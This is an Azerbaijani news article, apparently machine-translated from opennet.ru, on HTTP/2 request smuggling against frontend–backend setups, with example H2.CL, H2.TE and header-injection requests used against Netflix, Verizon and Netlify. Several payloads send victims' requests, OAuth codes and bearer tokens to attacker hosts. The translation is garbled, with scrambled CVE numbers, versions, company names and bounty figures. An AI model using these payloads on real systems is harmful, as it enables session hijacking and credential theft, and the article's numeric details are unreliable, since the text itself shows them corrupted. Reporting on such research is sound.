Sizə sorğulara qoşulmağa imkan verən ön arxa sistemlərə yeni hücum

Frontendin HTTP/2 vasitəsilə bağlantıları qəbul etdiyi və HTTP/1.1 vasitəsilə backendə ötürdüyü veb sistemləri, xüsusi hazırlanmış müştəri sorğuları göndərməklə məzmuna daxil olmağa imkan verən HTTP Sorğu Qaçaqmalçılığı hücumunun yeni variantına məruz qalıb. frontend və backend arasında eyni axınla emal edilən digər istifadəçilərdən gələn sorğuların. Hücum qanuni saytla seansa zərərli JavaScript kodu daxil etmək, girişə nəzarət sistemlərindən yan keçmək və autentifikasiya parametrlərinə müdaxilə etmək üçün istifadə edilə bilər.

Problem veb proksilərə, yük balanslaşdırıcılarına, veb sürətləndiricilərinə, məzmun çatdırma sistemlərinə və sorğuların ön arxa plana uyğun olaraq yönləndirildiyi digər konfiqurasiyalara təsir göstərir. Tədqiqatın müəllifi Netflix, Verizon, Bitbucket, Netlify CDN və Atlassian-da sistemlərə hücum etmək qabiliyyətini nümayiş etdirib və zəiflik üçün mükafat proqramlarında 56 5 dollar qazanıb. Problem F2021 Networks məhsullarında da təsdiqlənib. Problem qismən Apache http serverində (CVE-33193-2.4.49) mod_proxy-ə təsir edir, 3 versiyasında düzəliş gözlənilir (mayın əvvəlində tərtibatçılara problem barədə məlumat verilib və onu həll etmək üçün 1.21.1 ay vaxt verilib). Nginx-də "Məzmun uzunluğu" və "Transfer-kodlaşdırma" başlıqlarını eyni vaxtda təyin etmək imkanı sonuncu buraxılışda (XNUMX) bloklanıb. Hücum alətləri artıq Burp alət dəstinə əlavə edilib və Turbo Intruder əlavəsi kimi mövcuddur.

Sorğuların trafikə sıxışdırılmasının yeni metodunun işləmə prinsipi iki il əvvəl eyni tədqiqatçı tərəfindən müəyyən edilmiş zəifliyə bənzəyir, lakin HTTP/1.1 vasitəsilə sorğuları qəbul edən frontendlərlə məhdudlaşır. Xatırladaq ki, frontend-backend sxemində müştəri sorğuları əlavə qovşaq - frontend tərəfindən qəbul edilir ki, bu da sorğuları birbaşa emal edən backend ilə uzunmüddətli TCP əlaqəsi yaradır. Bu ümumi əlaqə vasitəsilə adətən HTTP protokolu ilə ayrılmış zənciri bir-birinin ardınca izləyən müxtəlif istifadəçilərdən sorğular ötürülür.

Klassik “HTTP Sorğu Qaçaqçılığı” hücumu, frontend və backendlərin HTTP başlıqlarının “Content-Length” (sorğudakı məlumatların ümumi ölçüsünü müəyyən edir) və “Transfer-Encoding: chunked” istifadəsini şərh etməsinə əsaslanırdı. məlumatların hissələrə ötürülməsinə imkan verir) fərqli . Məsələn, əgər frontend yalnız "Məzmun-uzunluğu"nu dəstəkləyirsə, lakin "Transfer-Encoding: chunked"i nəzərə almırsa, təcavüzkar hər ikisində "Məzmun uzunluğu" və "Transfer-kodlaşdırma: parçalanmış" başlıqları ehtiva edən sorğu göndərə bilər, lakin ölçüsü "Məzmun-uzunluq" parçalanmış zəncirin ölçüsünə uyğun gəlmir. Bu halda, frontend sorğunu "Məzmun-uzunluq"a uyğun olaraq emal edəcək və yönləndirəcək, arxa tərəf isə "Transfer-Encoding: chunked" əsasında blokun tamamlanmasını gözləyəcək və təcavüzkarın sorğusunun qalan hissəsi olacaq. Xarici tələbin əvvəlində sonrakı göndərilir.

Sətir səviyyəsində təhlil edilən HTTP/1.1 mətn protokolundan fərqli olaraq, HTTP/2 ikili protokoldur və əvvəlcədən müəyyən edilmiş ölçülü məlumat bloklarını idarə edir. Bununla belə, HTTP/2 adi HTTP başlıqlarına uyğun gələn psevdo başlıqlardan istifadə edir. HTTP/1.1 vasitəsilə backend ilə qarşılıqlı əlaqə qurarkən, frontend bu psevdo-başlıqları oxşar HTTP/1.1 HTTP başlıqlarına çevirir. Problem ondadır ki, backend, ilkin sorğunun parametrlərini bilmədən, frontend tərəfindən təyin edilmiş HTTP başlıqları əsasında axını təhlil etmək barədə qərarlar qəbul edir.

Pseudo-başlıqlar şəklində daxil olmaqla, "məzmun uzunluğu" və "transfer-kodlaşdırma" dəyərləri HTTP / 2-də istifadə edilməməsinə baxmayaraq ötürülə bilər, çünki bütün məlumatların ölçüsü müəyyən edilir. ayrı sahə. Bununla belə, HTTP/2 sorğusunun HTTP/1.1-ə çevrilməsi prosesində bu başlıqlar ötürülür və arxa tərəfi çaşdıra bilər. İki əsas hücum variantı var: H2.TE və H2.CL, bu zaman arxa tərəf yanlış ötürmə-şifrələmə və ya məzmun uzunluğu dəyəri ilə yanıltılır ki, bu da frontend tərəfindən qəbul edilən sorğu orqanının real ölçüsünə uyğun gəlmir. HTTP / 2 protokolu.

Sizə sorğulara qoşulmağa imkan verən ön arxa sistemlərə yeni hücum

H2.CL hücumuna misal olaraq, Netflix-ə HTTP/2 sorğusu göndərilərkən məzmun uzunluğunun psevdo-başlığı səhv formalaşdırılır. Bu sorğu HTTP/1.1 vasitəsilə backend-ə daxil olarkən oxşar Məzmun Uzunluqlu HTTP başlığının əlavə edilməsi ilə nəticələnir, lakin Məzmun Uzunluğunda ölçü faktiki ölçüdən kiçik olduğundan, quyruqdakı bəzi verilənlər başlanğıc kimi işlənir. növbəti sorğunun.

Məsələn, HTTP/2 sorğusu :metod POST :path /n :authority www.netflix.com məzmun uzunluğu 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Backend-ə sorğu göndərəcək: POST /n HTTP/1.1 Host: www.netflix.com Məzmun uzunluğu: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Məzmun Uzunluğu 4-ə təyin olunduğundan, backend sorğunun əsas hissəsi kimi yalnız “abcd” qəbul edəcək və “GET /n HTTP/1.1…” qalan hissəsini başqa istifadəçiyə bağlı növbəti sorğunun başlanğıcı kimi işləyəcək. Müvafiq olaraq, axın sinxronizasiya olunmayacaq və növbəti sorğuya cavab olaraq saxta sorğunun işlənməsinin nəticəsi geri qaytarılacaq. Netflix vəziyyətində, saxta sorğuda "Host:" başlığında üçüncü tərəf hostunu göstərmək müştəriyə "Məkan: https://02.rs?x.netflix.com/n" cavabı ilə nəticələndi və Netflix saytının kontekstində JavaScript kodunuzu icra etmək də daxil olmaqla, ixtiyari məzmunun müştəriyə ötürülməsinə icazə verdi.

Hücumun ikinci variantı (H2.TE) "Transfer-Encoding: chunked" başlığının dəyişdirilməsi ilə bağlıdır. HTTP/2-də ötürmə-kodlaşdırma psevdo-başlığın istifadəsi spesifikasiya ilə qadağandır və onunla edilən sorğular yanlış hesab edilir. Buna baxmayaraq, bəzi frontend tətbiqləri bu tələbə məhəl qoymur və oxşar HTTP başlığına çevrilən HTTP/2-də transfer kodlaşdırma psevdo-başlığın istifadəsinə icazə verir. Əgər “Transfer-Encoding” başlığı varsa, backend onu prioritet kimi qəbul edə və “{size}\r\n{block} formatında müxtəlif ölçülü bloklardan istifadə edərək “parçalanmış” rejimdə məlumatları hissələrə ayıra bilər. \r\n{size} \r\n{block}\r\n0" ümumi ölçüyə görə ilkin bölünməsinə baxmayaraq.

Belə bir boşluğun mövcudluğu Verizon nümunəsi ilə nümayiş etdirildi. Bununla belə, problem identifikasiya portalı və Huffington Post və Engadget kimi saytlar tərəfindən də istifadə edilən məzmunun idarə edilməsi sistemi ilə bağlı idi. Məsələn, HTTP/2 üzərindən müştəri sorğusu: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-kodlaşdırma 0 GET /oops HTTP/1.1 Host: psres.net Məzmun Uzunluğu: 10 x=

Backend üçün HTTP/1.1 sorğusuna səbəb oldu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Məzmun-uzunluq: 66 Transfer-kodlaşdırma: parçalanmış 0 GET /oops HTTP/1.1 Host: psres.net Məzmun- Uzunluq : 10x=

Backend, öz növbəsində, "Content-Length" başlığına məhəl qoymadı və "Transfer-Encoding: chunked" əsasında yayımda parçalanma etdi. Təcrübədə hücum, parametrləri Referer başlığında görünən OAuth autentifikasiyası ilə bağlı sorğuların tutulması, həmçinin autentifikasiya sessiyasının simulyasiyası və istifadəçi tərəfindən etimadnamələrin göndərilməsinə başlamaq daxil olmaqla, istifadəçi sorğularını saytınıza yönləndirməyə imkan verdi. sistem təcavüzkarın hostuna. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Avtorizasiya: Daşıyıcı eyJhcGwiOiJIUzI1Gi1CI6Ik…c

Transfer-kodlaşdırma psevdo-başlığını təyin etməyə imkan verməyən HTTP/2 tətbiqlərinə hücum etmək üçün başqa bir üsul təklif edilmişdir ki, bu da "Transfer-Encoding" başlığının yeni sətir simvolu ilə ayrılmış digər psevdo-başlıqlara əlavə edilməsi ilə əvəz edilməsini nəzərdə tutur (çevirildikdə). HTTP/1.1-ə, bu halda iki ayrı HTTP başlığı yaradılır).

Məsələn, Atlassian Jira və Netlify CDN (Firefox-da Mozilla başlanğıc səhifəsinə xidmət etmək üçün istifadə olunurdu) bu problemdən təsirləndi. Xüsusilə, HTTP/2 sorğusu :metod POST :path / :authority start.mozilla.org foo b\r\n transfer-kodlaşdırma: parçalanmış 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Məzmun Uzunluğu: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 sorğusunun backend-ə göndərilməsinə səbəb oldu\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Məzmun- Uzunluq: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Məzmun Uzunluğu: 5\r\n \ r\nx=

"Transfer-Encoding" başlığını əvəz etmək üçün başqa bir seçim onu ​​başqa bir psevdo-başlığın adına və ya sorğu metodu ilə sətirə əlavə etmək idi. Məsələn, Atlassian Jira-ya daxil olarkən, "parçalanmış" dəyəri ilə "foo: bar\r\ntransfer-encoding" psevdo-başlığının adı "foo: bar" və "transfer-encoding" HTTP başlıqlarının əlavə edilməsi ilə nəticələndi. : chunked" və "GET / HTTP/1.1\r\nTransfer-encoding: chunked" dəyərinin ":method" psevdo-başlığında göstərilməsi "GET / HTTP/1.1\r\ntransfer-kodlaşdırma: parçalanmış" dilinə tərcümə edildi. .

Problemi müəyyən edən tədqiqatçı həmçinin, hər bir IP ünvanı üçün backendlə ayrıca əlaqənin qurulduğu və müxtəlif istifadəçilərin trafikinin qarışdırılmadığı frontendlərə hücum etmək üçün sorğu tunelləmə texnikasını təklif etdi. Təklif olunan texnika digər istifadəçilərin sorğularına müdaxilə etməyə imkan vermir, lakin bu, digər sorğuların işlənməsinə təsir edən paylaşılan keşi zəhərləməyə imkan verir və xidmət məlumatlarının ötürülməsi üçün istifadə olunan daxili HTTP başlıqlarının dəyişdirilməsini həyata keçirməyə imkan verir. arxa hissəyə frontend (məsələn, belə başlıqlarda frontend tərəfində autentifikasiya zamanı cari istifadəçi haqqında məlumatı arxa hissəyə göndərə bilər). Metodun praktikada tətbiqinə misal olaraq, keş zəhərlənməsindən istifadə edərək, Bitbucket xidmətində səhifələr üzərində nəzarəti əldə etmək mümkün olub.

Mənbə: opennet.ru

Добавить комментарий